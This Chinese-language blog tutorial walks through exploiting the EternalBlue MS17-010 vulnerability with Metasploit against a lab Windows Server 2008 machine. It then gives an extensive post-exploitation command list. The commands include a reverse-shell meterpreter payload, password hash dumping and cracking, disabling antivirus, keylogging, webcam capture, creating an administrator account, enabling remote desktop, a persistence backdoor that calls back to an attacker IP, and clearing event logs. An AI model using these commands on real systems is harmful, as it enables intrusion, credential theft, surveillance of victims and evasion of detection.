永恒之蓝 - 勒索病毒

目录

Metasploit

使用方法

ms17-010漏洞复现

1. 主机发现

2. 进入MSF框架

3. 使用ms17-010扫描模块,对靶机进行扫描

4. 使用ms17-010攻击模块,对靶机进行攻击

后渗透阶段

Post后渗透模块

查看目标主机是否运行在虚拟机上

关闭杀毒软件

访问文件系统

下载/上传文件

权限提升

获取用户密码

运行程序

屏幕截图

创建新账号

启用远程桌面

键盘记录

进程迁移

禁止目标主机使用键盘鼠标

用目标主机摄像头拍照

使用扩展库

生成持续性后门

清除事件日志


Metasploit

Metasploit Framework(MSF)是一款开源安全漏洞检测工具,附带数千个已知的软件漏洞,并保持持续更新。Metasploit可以用来信息收集、漏洞探测、漏洞利用等渗透测试的全流程,被安全社区冠以“可以黑掉整个宇宙”之名。刚开始的Metasploit是采用Perl语言编写的,但是再后来的新版中,改成了用Ruby语言编写的了。在kali中,自带了Metasploit工具。

MSF的更新:apt update

​ apt install metasploit-framework

使用方法

  • ​ 进入框架:msfconsole
  • ​ 使用search命令查找相关漏洞: search ms17-010
  • ​ 使用use进入模块: use exploit/windows/smb/ms17_010_eternalblue
  • ​ 使用info查看模块信息: info
  • ​ 设置攻击载荷:set payload windows/x64/meterpreter/reverse_tcp
  • ​ 查看模块需要配置的参数:show options
  • ​ 设置参数:set RHOST 192.168.125.138
  • ​ 攻击:exploit / run
  • ​ 后渗透阶段

不同的攻击用到的步骤也不一样,接下来我们用永恒之蓝ms17-010来熟悉一下MSF工具的使用


ms17-010漏洞复现

描述

Eternalblue通过TCP端口445和139来利用SMBv1和NBT中的远程代码执行漏洞,恶意代码会扫描开放445文件共享端口的Windows机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。

影响版本

目前已知受影响的Windows 版本包括但不限于:WindowsNT,Windows2000、Windows XP、Windows 2003、Windows Vista、Windows 7、Windows 8,Windows 2008、Windows 2008 R2、Windows Server 2012 SP0

复现环境

攻击机: kali

靶机:win server 2008 r2 (192.168.1.8)


复现过程

1. 主机发现

nmap进行ip端口扫描

img

扫描到开放了445端口,而永恒之蓝利用的就是445端口的smb服务,操作系统溢出漏洞

2. 进入MSF框架

1
2
msfconsole
search ms17-010

img

这里可以得到两个工具,其中auxiliary/scanner/smb/smb_ms17_010是永恒之蓝扫描模块,探测主机是否存在MS17_010漏洞

exploit/windows/smb/ms17_010_eternalblue是永恒之蓝攻击代码,一般配合使用,前者先扫描,若显示有漏洞,再进行攻击。

3. 使用ms17-010扫描模块,对靶机进行扫描

使用模块

​ 该模块不会直接在攻击机和靶机之间建立访问,它们只负责执行扫描,嗅探,指纹识别等相关功能以辅助渗透测试。

msf> use auxiliary/scanner/smb/smb_ms17_010

查看模块需要配置的参数

show option

img

​ 右边Required为yes的选项说明左边 Current Setting 这个项对应的需要填写,比如Rhoststs

设置攻击目标

​ RHOSTS 参数是要探测主机的ip或ip范围(比如 192.168.125.125-129.168.125.140 或者 192.168.1.0/24)

set rhosts 192.168.1.8

再次查看配置参数

show options

执行扫描

run

img

​ 显示主机很可能能够会受到永恒之蓝漏洞的攻击

4. 使用ms17-010攻击模块,对靶机进行攻击

use exploit/windows/smb/ms17_010_eternalblue

查看这个漏洞的信息

info

查看可攻击的系统平台,这个命令显示该攻击模块针对哪些特定操作系统版本、语言版本的系统

show targets

img

​ 这里只有一个,有些其他的漏洞模块对操作系统的语言和版本要求的很严,比如MS08_067,这样就要我们指定目标系统的版本的。如果不设置的话,MSF会自动帮我们判断目标操作系统的版本和语言(利用目标系统的指纹特征)

查看攻击载荷

​ 攻击载荷是我们期望在目标系统在被渗透攻击之后完成的实际攻击功能的代码,成功渗透目标后,用于在目标系统上运行任意命令

show payloads

​ 该命令可以查看当前漏洞利用模块下可用的所有Payload

img

设置攻击载荷

set payload windows/x64/meterpreter/reverse_tcp

查看配置参数

show options

设置目标攻击ip

set rhosts 192.168.1.8 (如果有多个攻击目标ip间直接用空格隔开就行)

设置用于接收从目标机弹回来的shell

set LHOST 192.168.1.11

执行攻击

exploit(run) img

后渗透阶段

运行了exploit命令之后,我们开启了一个reverse TCP监听器来监听本地的 4444 端口,即我(攻击者)的本地主机地址(LHOST)和端口号(LPORT)。运行成功之后,我们将会看到命令提示符 meterpreter > 出现,我们输入: shell 即可切换到目标主机的windows shell,要想从目标主机shell退出到 meterpreter ,我们只需输入:exit

img

要想从 meterpreter 退出到MSF框架,输入:background

img

输入 sessions -l 查看我们获得的shell

输入 sessions -i 1 即可切换到id为1的shell

img

  • Post后渗透模块

在meterpreter > 中我们可以使用以下的命令来实现对目标的操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37

​```
sysinfo #查看目标主机系统信息
run scraper #查看目标主机详细信息
run hashdump #导出密码的哈希
load kiwi #加载
ps #查看目标主机进程信息
pwd #查看目标当前目录(windows)
getlwd #查看目标当前目录(Linux)
search -f *.jsp -d e:\ #搜索E盘中所有以.jsp为后缀的文件
download e:\test.txt /root #将目标机的e:\test.txt文件下载到/root目录下
upload /root/test.txt d:\test #将/root/test.txt上传到目标机的 d:\test\ 目录下getpid #查看当前Meterpreter Shell的进程
PIDmigrate 1384 #将当前Meterpreter Shell的进程迁移到PID为1384的进程上
idletime #查看主机运行时间
getuid #查看获取的当前权限
getsystem #提权
run killav #关闭杀毒软件
screenshot #截图
webcam_list #查看目标主机的摄像头
webcam_snap #拍照
webcam_stream #开视频
execute 参数 -f 可执行文件 #执行可执行程序
run getgui -u hack -p 123 #创建hack用户,密码为123
run getgui -e #开启远程桌面
keyscan_start #开启键盘记录功能
keyscan_dump #显示捕捉到的键盘记录信息
keyscan_stop #停止键盘记录功能
uictl disable keyboard #禁止目标使用键盘
uictl enable keyboard #允许目标使用键盘
uictl disable mouse #禁止目标使用鼠标
uictl enable mouse #允许目标使用鼠标
load #使用扩展库
run #使用扩展库
run persistence -X -i 5 -p 8888 -r 192.168.10.27 #反弹时间间隔是5s 会自动连接
192.168.27的4444端口,缺点是容易被杀毒软件查杀
portfwd add -l 3389 -r 192.168.11.13 -p 3389 #将192.168.11.13的3389端口转发到本地的3389端口上,这里的192.168.11.13是获取权限的主机的ip地址
clearev #清除日志

下面的模块主要用于在取得目标主机系统远程控制权后,进行一系列的后渗透攻击动作。

1
2
3
4
5
6
7
8
9
run post/windows/manage/migrate                  #自动进程迁移     
run post/windows/gather/checkvm #查看目标主机是否运行在虚拟机上
run post/windows/manage/killav #关闭杀毒软件
run post/windows/manage/enable_rdp #开启远程桌面服务
run post/windows/manage/autoroute #查看路由信息
run post/windows/gather/enum_logged_on_users #列举当前登录的用户
run post/windows/gather/enum_applications #列举应用程序
run windows/gather/credentials/windows_autologin #抓取自动登录的用户名和密码
run windows/gather/smart_hashdump #dump出所有用户的hash

查看目标主机是否运行在虚拟机上

img

关闭杀毒软件

拿到目标主机的shell后第一件事就是关闭掉目标主机的杀毒软件,通过命令:

run killav

img

访问文件系统

Meterpreter支持非常多的文件系统命令(基本跟Linux系统命令类似,这里就不演示了)

img

下载/上传文件

download file 从目标主机下载文件

upload file 上传文件到目标主机

img

​ 这里下载的文件的路径默认在家目录下

权限提升

有的时候,你可能会发现自己的 Meterpreter 会话受到了用户权限的限制,而这将会严重影响你在目标系统中的活动。比如说,修改注册表、安装后门或导出密码等活动都需要提升用户权限,而Meterpreter给我们提供了一个 getsystem 命令,它可以使用多种技术在目标系统中实现提权

getuid 获取当前用户的信息

img

可以看到,当我们使用 getsystem进行提权后,用户身材为 NT AUTHORITY\SYSTEM ,这个也就是Windows的系统权限

获取用户密码

执行 :run hashdump

hashdump 模块可以从SAM数据库中导出本地用户账号, 该命令的使用需要系统权限

img

从上图可知,导出了三个用户名及密码,输出格式为,用户名:SID:LM哈希:NTLM哈希:::

我们来破解用户名为chenchen的用户密码,可以复制 NTLM哈希去在线网站如 www.cmd5.com 破解

img

运行程序

查看目标主机安装了哪些应用

run post/windows/gather/enum_applications

img

可以使用 execute 命令在目标系统中执行程序。使用方法如下:

1
execute  参数  -f  可执行文件

可选参数:

-f:指定可执行文件

-H:创建一个隐藏进程

-a:传递给命令的参数

-i: 跟进程进行交互

-m:从内存中执行

-t: 使用当前伪造的线程令牌运行进程

-s: 在给定会话中执行进程

img

如果我想执行它某个应用程序的话,该怎么实现??

屏幕截图

输入 : screenshot 即可对目标主机的当前使用屏幕进去屏幕截取

img

创建新账号

查看目标主机有哪些账户

run post/windows/gather/enum_logged_on_users

img

接着,我们在目标机中创建一个新的账号 : run getgui -u hack -p 123 ,这个命令会创建用户,并把他添加到 Administrators 组中,这样该用户就拥有远程桌面的权限了。

这里成功创建了用户,但是添加到Administrators组中失败了 ??why

img

如果添加到Administrators组中失败了的话,我们可以运行:shell ,进行cmd窗口手动将该用户添加到administrators组中。

启用程桌面

当我们新添加的用户已经拥有远程桌面之后,我们就可以使用这个账号凭证来开启远程桌面会话了。

我们可以通过运行getuid脚本帮我们开启目标主机的远程桌面,可以使用-e参数确保目标设备开启了远程桌面功能(重启之后同样会自动开启),我们输入: run getgui -e 或者 run post/windows/manage/enable_rdp

在目标机上右键属性远程桌面确实被打开了

在开启远程桌面会话之前,我们还需要使用“idletime”命令检查远程用户的空闲时长: idletime ,这一步不太懂??

img

然后怎么通过远程桌面用我们创建的用户登录目标主机?后面再来解答

键盘记录

Meterpreter还可以在目标设备上实现键盘记录功能,键盘记录主要涉及以下三种命令:

keyscan_start:开启键盘记录功能

keyscan_dump:显示捕捉到的键盘记录信息

keyscan_stop:停止键盘记录功能

在使用键盘记录功能时,通常需要跟目标进程进行绑定,接下来我们介绍如何绑定进程,然后获取该进程下的键盘记录

进程迁移

Meterpreter 既可以单独运行,也可以与其他进程进行绑定。因此,我们可以让Meterpreter与类似explorer.exe这样的进程进行绑定,并以此来实现持久化。

在下面的例子中,我们会将Meterpreter跟 winlogon.exe 绑定,并在登录进程中捕获键盘记录,以获得用户的密码。

首先,我们需要使用: ps 命令查看目标设备中运行的进程:

img

我们可以使用: getpid 查看我们当前的进程id

使用: migrate 目标进程ID 命令来绑定目标进程id,这里绑定目标pid的时候,经常会断了 shell。进程迁移后会自动关闭原来进程,没有关闭可使用 kill pid 命令关闭进程。或者使用自动迁移进程(run post/windows/manage/migrate)命令,系统会自动寻找合适的进程然后迁移

img

进程迁移绑定完成后,就可以开始捕获键盘数据了

运行键盘记录功能的命令

img

我在目标机上进行了按键操作为何不记录??

禁止目标主机使用键盘鼠标

  • 禁止(允许)目标使用键盘: uictl disable (enable) keyboard
  • 禁止(允许)目标使用鼠标: uictl disable (enable) mouse

img

what??

用目标主机摄像头拍照

  • 获取目标系统的摄像头列表:webcam_list
  • •从指定的摄像头,拍摄照片:webcam_snap
  • •从指定的摄像头,开启视频:webcam_stream

img

我这里没有摄像头就不演示了

使用扩展库

使用 load -l 查看扩展库

img

生成持续性后门

因为 meterpreter 是基于内存DLL建立的连接,所以,只要目标主机关机,我们的连接就会断。总不可能我们每次想连接的时候,每次都去攻击,然后再利用 meterpreter 建立连接,这样太麻烦了。所以,我们得在目标主机系统内留下一个持续性的后门,只要目标主机开机了,我们就可以连接到该主机。

建立持续性后门有两种方法

  • 通过启动项启动
  • 通过服务启动

启动项启动

用这种方法的话,我们先生成一个后门工具 ,传送门 –> 用msf生成一个后门木马

然后放到windows的启动目录中:

1
C:\Users\$username$\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

服务启动

通过服务启动,我们可以运行命令

1
run persistence -X -i 5 -p 8888 -r 192.168.43.226

img

注释反弹时间间隔是5s, 会自动连接192.168.43.226的4444端口,缺点是容易被杀毒软件查杀

然后它就在目标机新建了这个文件:C:\Windows\TEMP\CJzhFlNOWa.vbs ,并把该服务加入了注册表中,只要开机就会启动

在目标主机可以看到这样一个文件夹,是一个VBScript脚本

img

查看靶机的端口连接情况 netstat -an 可以看到靶机连着我们的8888端口

img

靶机进行重启后,查看端口状态确实是连着的,但是msf断了又得重新exploit,如何通过留的后门进入靶机而不是通过msf进行进入到靶机里面?

清除事件日志

完成攻击操作之后,千万别忘了“打扫战场”。我们的所有操作都会被记录在目标系统的日志文件之中,因此我们需要在完成攻击之后使用命令 clearev 命令来清除事件日志:

img

  • Copyright: Copyright is owned by the author. For commercial reprints, please contact the author for authorization. For non-commercial reprints, please indicate the source.

请我喝杯咖啡吧~

支付宝
微信